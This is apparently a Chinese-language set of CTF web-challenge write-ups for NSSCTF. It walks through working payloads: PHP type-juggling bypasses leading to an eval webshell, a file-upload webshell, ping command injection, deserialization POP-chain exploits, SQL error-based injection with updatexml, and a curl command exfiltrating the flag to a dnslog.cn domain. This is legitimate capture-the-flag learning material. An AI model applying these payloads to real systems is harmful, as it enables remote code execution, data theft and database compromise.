来玩贪吃蛇~
F12查看源代码,可以看到this_is_real_flag
函数,发现是unicode编码
利用网站转换得到flag
连连need
highlight_file(__FILE__);
error_reporting(0);
$md5_1 = $_GET['md5_1'];
$md5_2 = $_GET['md5_2'];
$sha1_1 = $_GET['sha1_1'];
$sha1_2 = $_GET['sha1_2'];
$new_player =$_GET['new_player'];
if ($md5_1 !== $md5_2 && md5($md5_1) === md5($md5_2)) {
if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2)) {
if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") {
echo "Congratulations~~~~~~~~~";
echo "试试need Antsword
";
@eval($_POST['Nss']);
}else{
echo "可曾听过data协议?";
}
} else {
echo "sha1又如何相等呢";
}
} else {
echo "如何让md5值相等呢¿";
}
第一 层要让md5_1
和md5_2
经过md5加密后强比较类型相等,并且md5_1
不等于md5_2
,这里可以用数组绕过
构造payload
?md5_1[]=1&md5_2[]=2
第二层便是绕过sha1
加密,这里也可以用数组
payload:
sha1_1[]=3&sha1_2[]=4
接下来可以看到file_get_contents
,这个函数的内容就是显示文件内容,可以利用data
协议传入数据流
payload:
new_player=data://text/plain,Welcome to NSSCTF!!!
接下来利用Nss
来进行RCE即可,最后发包如下
?md5_1[]=1&md5_2[]=2&sha1_1[]=3&sha1_2[]=4&new_player=data://text/plain,Welcome to NSSCTF!!!
POST DATA:
Nss=system('cat /f*');
来看看你的HTTP知识储备!
好好好,喜欢这种,直接秒了
Burp发包如下
无
文件上传,先直接上传个php
文件
试一试修改MIME
类型,但是被过滤
猜测是不是有文件头检测,添加文件头GIF89a?
可以看到绕过,路径被翻转
直接访问
http://node6.anna.nssctf.cn:28908/uploads/shell.php
可以看到已经挂马成功,直接RCE得到flag
程序未响应
highlight_file(__FILE__);
error_reporting(0);
$_ping = $_GET['Ping_ip.exe'];
if(isset($_ping)){
system("ping -c 3 ".$_ping);
}else{
$data = base64_encode(file_get_contents("error.png"));
echo "";
}
得到源代码,通过简单的代码审计可以知道我们需要传参Ping_ip.exe
,然后再执行system(ping -c 3 +我们传入的值 )
但是这里涉及到PHP非法传参
的问题,也就是如果直接传入Ping_ip.exe
,在PHP中会被解析成Ping_ip_exe
,所以我们将原本参数的_
改为[
,即可传入正确的参数
构造payload:
?Ping[ip.exe=127.0.0.1|ls /
成功扫描根目录
接下来直接获取flag即可
?Ping[ip.exe=127.0.0.1|cat%20/f*
Let’s do some deserialization
给出源代码
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
public $cmd;
function __invoke()
{
echo "Congratulations!!!You have learned to construct a POP chain
";
system($this->cmd);
}
function __wakeup()
{
echo "W4keup!!!
";
$this->cmd = "echo Welcome to NSSCTF";
}
}
class C
{
public $whoami;
function __get($argv)
{
echo "what do you want?";
$want = $this->whoami;
return $want();
}
}
class T
{
public $sth;
function __toString()
{
echo "Now you know how to use __toString
There is more than one way to trigger";
return $this->sth->var;
}
}
class F
{
public $user = "nss";
public $passwd = "ctf";
public $notes;
function __construct($user, $passwd)
{
$this->user = $user;
$this->passwd = $passwd;
}
function __destruct()
{
if ($this->user === "SWPU" && $this->passwd === "NSS") {
echo "Now you know how to use __construct
";
echo "your notes".$this->notes;
}else{
die("N0!");
}
}
}
if (isset($_GET['ser'])) {
$ser = unserialize(base64_decode($_GET['ser']));
} else {
echo "Let's do some deserialization :)";
}
考察反序列化,倒着找pop链
可以看到在NSS
类中,存在__invoke()
魔术方法,里面存放着可以执行系统命令的函数,所以这便是我们的终点
__invoke()魔术方法 : 将对象当作函数来使用时执行此方法
继续向上找,这个可能不太明显,就是在C
类的return $want();
中,在这里want
被当做函数处理,触发方式便是__get()
魔术方法
__get() :获得一个类的成员变量时调用,用于从不可访问的成员获取值的时候触发
向上找,在T
类中的return $this->sth->var;
这里希望返回sth
类中的var属性
,但是不存在,所以可以通过该语句触发__get()
魔术方法,但是前提是先触发__toString()
魔术方法
__toString(): 当一个对象被当作字符串使用时触发
最后便是在F
类中的__destruct()
魔术方法的echo
语句,将notes
作为字符串处理,这便是pop链的触发点,因为__desrtuct()
会自动触发
__destruct() :对象被销毁时触发
最后的pop链如下
NSS::__invoke() <-- C::__get() <-- T::__toString() <-- F::__destruct
由此构造exp,这里因为还要绕过__wakeup()
所以就先不加base64_encode
class NSS
{
public $cmd;
function __construct(){
$this ->cmd = "ls /";
}
}
class C
{
public $whoami;
function __construct()
{
$this ->whoami = new NSS();
}
}
class T
{
public $sth ;
function __construct(){
$this ->sth = new C();
}
}
class F
{
public $user ;
public $passwd;
public $notes;
function __construct()
{
$this->user = "SWPU";
$this->passwd = "NSS";
$this->notes = new T();
}
}
$a = new F();
echo (serialize($a));
运行得到
O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:4:"ls /";}}}}
然后修改,利用对象的属性数量不一致方法来进行绕过,修改得到
O:1:"F":5:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:4:"ls /";}}}}
然后base64编码
TzoxOiJGIjo1OntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6NDoibHMgLyI7fX19fQ0K
传参即可执行命令
之后修改脚本的命令为cat /f*
在重复一下步骤即可得到flag
payload:
TzoxOiJGIjo1OntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6NzoiY2F0IC9mKiI7fX19fQ0K
没有回显如何读flag呢
无回显RCE,可以看看这篇文章
[CTF]命令执行无回显利用
这里利用DNSlog直接外带出flag
点Get SubDomain
获取域名,然后根据文章的格式
cmd=curl `命令`.域名
payload如下:
http://node6.anna.nssctf.cn:28181/?cmd=curl%20`cat%20/f*`.vv5yp9.dnslog.cn
然后点Refresh Record
,可以看到flag被外带出来了
修改一下格式即为正确flag
重生之我是带黑阔查爆油专所有人!
hint1:前端源代码有hint,而且注意使用参数,或者直接拿起你们最喜欢的kali一键启动?
既然说了前端代码有hint,看一眼
然后现在学生名单,随便找个名字
考察的是SQL注入
,那就先找注入点以及闭合方式
这里的注入点应该是student_id
,因为可以明显的看到在报错语句中,password
被md5加密了,所以可以判断注入点
在经过试错之后,发现闭合方式是""(双引号)
,那就先试试union
联合查询注入,先判断显示位
显示位不同的时候会报错,但是显示位相同的时候也会报错
后面发现是sql语句的问题,也就是那个
;
那既然都看到报错了,就试试报错注入
payload爆库:
name=%E8%96%9B%E6%A2%93%E6%BC%AB&student_id=-1" and updatexml(1,concat(0x7e,(database()),0x7e),1) --+#&password=11111
看来思路对了,接下来爆表
name=%E8%96%9B%E6%A2%93%E6%BC%AB&student_id=-1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),3) --+&password=11111
然后爆字段
name=%E8%96%9B%E6%A2%93%E6%BC%AB&student_id=-1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='students'),0x7e),3) --+&password=11111
但是这个payload并不能显示完全,轻微修改一下使其显示出后面的字段名
name=%E8%96%9B%E6%A2%93%E6%BC%AB&student_id=-1" and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='students'),31,40),0x7e),3) --+&password=11111
发现没有flag,看看有没有表里面藏着flag,没有。。。。
不知道flag藏在哪
麻了,赛后也是把题目重新看了一遍,发现flag其实是藏在了grade
字段内的最后一条,这里打算直接用名单来爆破找到flag
用burp进行爆破,先发到测试器,将name
添加变量
导入名单,将学生名单复制到txt
中,然后导入
开始爆破
在这。。。服了,脑电波没对上
像你这样的大师手法一定很厉害
某一天,NSSCTF给了你一次机会,让你来自定义if中的条件,提交后访问check.php查看结果
提交方式$_POST["check"]
记得访问一下check.php哦~
check.php的内容
<?php
$a=false;
$b=false;
if(你提交的部分将会被写至这里)
{$a=true;}
else
{$b=true;}
if($a===true&&$b===true)
eval(system(cat /flag));
?>
不知道这道题考的什么。。。可能是考PHP如何写吧
$
被ban了,不能用,那就直接执行system(cat /f*)
payload直接放下面了
check=11==11){ system('cat /f*');} /*
传入之后访问check.php
得到flag
听过备份文件吗
hint有提示备份文件,直接访问www.zip
,可以得到源代码
error_reporting(0);
require_once("flag.php");
class popmart{
public $yuki;
public $molly;
public $dimoo;
public function __construct(){
$this->yuki='tell me where';
$this->molly='dont_tell_you';
$this->dimoo="you_can_guess";
}
public function __wakeup(){
global $flag;
global $where_you_go;
$this->yuki=$where_you_go;
if($this->molly === $this->yuki){
echo $flag;
}
}
}
$pucky = $_GET['wq'];
if(isset($pucky)){
if($pucky==="二仙桥"){
extract($_POST);
if($pucky==="二仙桥"){
die("");
}
unserialize($pucky);
}
}
看来我们需要让wq
等于二仙桥
来进入第一个if
语句,然后再绕过第二个if
语句,进行反序列化
在进入unserialize
之后,__wakeup()
会进行赋值,如果molly===yuki
那么即可得到flag
第一个点,就是绕过第二个if
,这里直接变量覆盖
即可,当然GET和POST都发送wq
是不行的,在POST中发送pucky
即可
然后在反序列化的时候采取引用绕过的方式,exp如下
class popmart{
public $yuki;
public $molly;
public $dimoo;
}
$a=new popmart();
$a->molly=&$a->yuki;
echo serialize($a);
运行得到
O:7:"popmart":3:{s:4:"yuki";N;s:5:"molly";R:2;s:5:"dimoo";N;}
在p0pmart.php
界面直接传入即可